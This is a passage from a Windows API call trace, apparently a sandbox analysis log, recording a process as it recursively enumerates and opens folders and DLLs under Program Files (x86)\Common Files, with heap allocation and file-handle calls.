RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0087.509] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1305728 [0087.509] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Web Server Extensions\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9100 [0087.509] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x21a6a110, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x21a6a110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x21a6a110, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.509] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x21a6a110, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x21a6a110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x21a6a110, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="14", cAlternateFileName="")) returned 1 [0087.509] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x21a6a110, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x21a6a110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x21a6a110, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="14", cAlternateFileName="")) returned 0 [0087.509] GetLastError () returned 0x12 [0087.509] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Web Server Extensions\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e90c0 [0087.509] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0087.509] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x21a6a110, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x21a6a110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x21a6a110, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.510] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x21a6a110, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x21a6a110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x21a6a110, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="14", cAlternateFileName="")) returned 1 [0087.510] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1305620 [0087.510] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0087.510] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1305938 [0087.510] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Web Server Extensions\\14" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\web server extensions\\14"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x21a6a110, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x21a6a110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x21a6a110, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0087.510] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Web Server Extensions\\14" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\web server extensions\\14"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x16c [0087.511] SetFileTime (hFile=0x16c, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0087.511] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x132a8a0 [0087.511] DeviceIoControl (in: hDevice=0x16c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x132a8a0, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x132a8a0, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0087.511] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x132a8a0) returned 1 [0087.511] NtClose (Handle=0x16c) returned 0x0 [0087.512] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1305938) returned 1 [0087.512] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0087.512] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0087.512] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1305938 [0087.512] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0087.512] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1305a40 [0087.513] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Web Server Extensions\\14\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9100 [0087.513] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x21a6a110, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x21a6a110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x21a6a110, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.513] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x21a6a110, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xad0454c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xad0454c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BIN", cAlternateFileName="")) returned 1 [0087.513] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x21a6a110, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xad0454c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xad0454c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BIN", cAlternateFileName="")) returned 0 [0087.513] GetLastError () returned 0x12 [0087.513] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Web Server Extensions\\14\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e91c0 [0087.513] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0087.513] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x21a6a110, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x21a6a110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x21a6a110, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.513] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x21a6a110, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xad0454c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xad0454c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BIN", cAlternateFileName="")) returned 1 [0087.513] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1305b48 [0087.514] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0087.514] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1305c50 [0087.514] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Web Server Extensions\\14\\BIN" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\web server extensions\\14\\bin"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x21a6a110, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xad0454c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xad0454c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0087.515] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Web Server Extensions\\14\\BIN" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\web server extensions\\14\\bin"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x16c [0087.515] SetFileTime (hFile=0x16c, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0087.515] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x132a8a0 [0087.515] DeviceIoControl (in: hDevice=0x16c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x132a8a0, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x132a8a0, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0087.516] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x132a8a0) returned 1 [0087.516] NtClose (Handle=0x16c) returned 0x0 [0087.516] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1305c50) returned 1 [0087.516] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0087.516] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0087.516] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1305c50 [0087.517] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0087.517] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1305d58 [0087.517] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Web Server Extensions\\14\\BIN\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9100 [0087.517] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x21a6a110, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xad0454c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xad0454c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.517] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e690a00, ftCreationTime.dwHighDateTime=0x1cac0be, ftLastAccessTime.dwLowDateTime=0x21a6a110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e690a00, ftLastWriteTime.dwHighDateTime=0x1cac0be, nFileSizeHigh=0x0, nFileSizeLow=0x193378, dwReserved0=0x0, dwReserved1=0x0, cFileName="FPSRVUTL.DLL", cAlternateFileName="")) returned 1 [0087.517] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0087.518] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0087.518] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0087.518] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0087.518] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0087.519] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0087.519] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x285ff900, ftCreationTime.dwHighDateTime=0x1cb71c7, ftLastAccessTime.dwLowDateTime=0xad06b620, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x285ff900, ftLastWriteTime.dwHighDateTime=0x1cb71c7, nFileSizeHigh=0x0, nFileSizeLow=0xf0390, dwReserved0=0x0, dwReserved1=0x0, cFileName="FPWEC.DLL", cAlternateFileName="")) returned 1 [0087.519] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0087.519] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0087.519] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0087.520] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0087.520] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0087.520] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0087.520] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x285ff900, ftCreationTime.dwHighDateTime=0x1cb71c7, ftLastAccessTime.dwLowDateTime=0xad06b620, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x285ff900, ftLastWriteTime.dwHighDateTime=0x1cb71c7, nFileSizeHigh=0x0, nFileSizeLow=0xf0390, dwReserved0=0x0, dwReserved1=0x0, cFileName="FPWEC.DLL", cAlternateFileName="")) returned 0 [0087.520] GetLastError () returned 0x12 [0087.520] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Web Server Extensions\\14\\BIN\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9000 [0087.520] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0087.520] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x21a6a110, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xad0454c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xad0454c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.520] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e690a00, ftCreationTime.dwHighDateTime=0x1cac0be, ftLastAccessTime.dwLowDateTime=0x21a6a110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e690a00, ftLastWriteTime.dwHighDateTime=0x1cac0be, nFileSizeHigh=0x0, nFileSizeLow=0x193378, dwReserved0=0x0, dwReserved1=0x0, cFileName="FPSRVUTL.DLL", cAlternateFileName="")) returned 1 [0087.520] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x285ff900, ftCreationTime.dwHighDateTime=0x1cb71c7, ftLastAccessTime.dwLowDateTime=0xad06b620, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x285ff900, ftLastWriteTime.dwHighDateTime=0x1cb71c7, nFileSizeHigh=0x0, nFileSizeLow=0xf0390, dwReserved0=0x0, dwReserved1=0x0, cFileName="FPWEC.DLL", cAlternateFileName="")) returned 1 [0087.520] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x285ff900, ftCreationTime.dwHighDateTime=0x1cb71c7, ftLastAccessTime.dwLowDateTime=0xad06b620, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x285ff900, ftLastWriteTime.dwHighDateTime=0x1cb71c7, nFileSizeHigh=0x0, nFileSizeLow=0xf0390, dwReserved0=0x0, dwReserved1=0x0, cFileName="FPWEC.DLL", cAlternateFileName="")) returned 0 [0087.520] GetLastError () returned 0x12 [0087.521] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1305d58) returned 1 [0087.521] FindClose (in: hFindFile=0x2e9000 | out: hFindFile=0x2e9000) returned 1 [0087.521] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0087.521] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1305c50) returned 1 [0087.521] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x21a6a110, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xad0454c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xad0454c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BIN", cAlternateFileName="")) returned 0 [0087.521] GetLastError () returned 0x12 [0087.522] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1305a40) returned 1 [0087.522] FindClose (in: hFindFile=0x2e91c0 | out: hFindFile=0x2e91c0) returned 1 [0087.522] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1305b48) returned 1 [0087.522] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1305938) returned 1 [0087.522] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x21a6a110, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x21a6a110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x21a6a110, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="14", cAlternateFileName="")) returned 0 [0087.522] GetLastError () returned 0x12 [0087.522] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1305728) returned 1 [0087.522] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0087.523] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1305620) returned 1 [0087.523] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1305518) returned 1 [0087.523] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x21a6a110, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x21a6a110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x21a6a110, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Web Server Extensions", cAlternateFileName="")) returned 0 [0087.523] GetLastError () returned 0x12 [0087.523] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d0c8) returned 1 [0087.523] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0087.524] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d6868) returned 1 [0087.524] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b528) returned 1 [0087.524] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8d1336, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd8d1336, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd8d1336, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services", cAlternateFileName="")) returned 1 [0087.524] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b528 [0087.524] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Services" (normalized: "c:\\program files (x86)\\common files\\services"), fInfoLevelId=0x0, lpFileInformation=0x119f3c0 | out: lpFileInformation=0x119f3c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8d1336, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd8d1336, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd8d1336, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0087.525] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Services" (normalized: "c:\\program files (x86)\\common files\\services"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x168 [0087.525] SetFileTime (hFile=0x168, lpCreationTime=0x0, lpLastAccessTime=0x119f404, lpLastWriteTime=0x119f404) returned 0 [0087.525] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x132a8a0 [0087.526] DeviceIoControl (in: hDevice=0x168, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x132a8a0, nOutBufferSize=0x4000, lpBytesReturned=0x119f45c, lpOverlapped=0x0 | out: lpOutBuffer=0x132a8a0, lpBytesReturned=0x119f45c, lpOverlapped=0x0) returned 0 [0087.526] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x132a8a0) returned 1 [0087.526] NtClose (Handle=0x168) returned 0x0 [0087.526] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b528) returned 1 [0087.526] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b528 [0087.526] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d0c8 [0087.527] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0087.527] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Services\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0x2e9040 [0087.527] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8d1336, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd8d1336, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd8d1336, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.527] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x892529fc, ftCreationTime.dwHighDateTime=0x1c9ea12, ftLastAccessTime.dwLowDateTime=0x892529fc, ftLastAccessTime.dwHighDateTime=0x1c9ea12, ftLastWriteTime.dwLowDateTime=0x892529fc, ftLastWriteTime.dwHighDateTime=0x1c9ea12, nFileSizeHigh=0x0, nFileSizeLow=0xa8e, dwReserved0=0x0, dwReserved1=0x0, cFileName="verisign.bmp", cAlternateFileName="")) returned 1 [0087.527] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0087.528] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0087.528] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0087.528] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0087.528] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0087.528] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bba88 [0087.528] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d150 [0087.529] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0087.529] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, 